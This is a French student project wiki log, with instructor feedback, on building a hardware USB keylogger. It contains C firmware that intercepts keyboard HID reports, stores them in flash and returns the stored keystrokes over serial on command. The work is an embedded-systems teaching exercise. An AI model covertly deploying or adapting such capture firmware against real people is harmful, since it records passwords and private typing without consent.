memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*page_buffer_size += FLASH_BUFFER_SIZE;
*flash_buffer_i = 0;
}

/* Writing the Modifier and Keycodes in the flash_buffer */
for (int i = 0; i < 7; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];
</syntaxhighlight>

ReX : Le test <code>(*flash_buffer_i == FLASH_BUFFER_SIZE)</code> est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et défini la taille de bloc comme un multiple de la taille des paquets :
#define CODES_PACKET_SIZE 7
#define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)

Benjamin : Pas de soucis, j'en ai profité aussi pour modifier les autres variables concernant le parcourt du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction <code>memcpy</code>.

Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction <code>Flash_Task</code> :
<syntaxhighlight lang="c">
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = 0;
*page_buffer_size = 0;
memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*flash_buffer_i = 0;
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0xC7, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x94, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x80, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x9A, NULL, 0);
}

if (Command_Byte == SERIAL_FLASH_GET)
{
int address, byte;
uint8_t Data_to_Send[7];
for (address = 0; address <= (*page_actual); address++)
{
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (byte = 0; byte < (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1); byte += 7)
{
// for (k = 0; k < 7; k++)
// Data_to_Send[k] = data[byte + k];
memcpy(Data_to_Send, &(data[byte]), 7);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
for (byte = 0; byte < (*flash_buffer_i); byte += 7)
{
// for (k = 0; k < 7; k++)
// Data_to_Send[k] = flash_buffer[byte + k];
memcpy(Data_to_Send, &(flash_buffer[byte]), 7);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
}
}
</syntaxhighlight>

Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.

Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.

Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables <code>flash_buffer</code> qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et <code>flash_buffer_i</code> qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction <code>Serial_IsSendComplete</code> afin de ne pas avoir un caractère qui saute à la réception.

Concernant le programme de l'ATMEGA, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapés :

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[0] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[1] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[2] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[3] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[4] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[5] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

On attend à partir de la fonction <code>Serial_IsCharReceived</code> qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction <code>Serial_ReceiveByte</code>. Assez simple finalement ! = )
[[Fichier:Keylogger schéma connexion uP.png|vignette|504x504px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]

= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

Fichier:2023 EC5 Keylogger.zip

2023-08-15T07:36:45Z

Bnguyen1 : Bnguyen1 a téléversé une nouvelle version de Fichier:Keylogger.zip

== Description ==
Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2

SE4 2022/2023 EC5

2023-08-15T07:29:11Z

Bnguyen1 : Ajout du schéma des connexions entre les deux uP

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
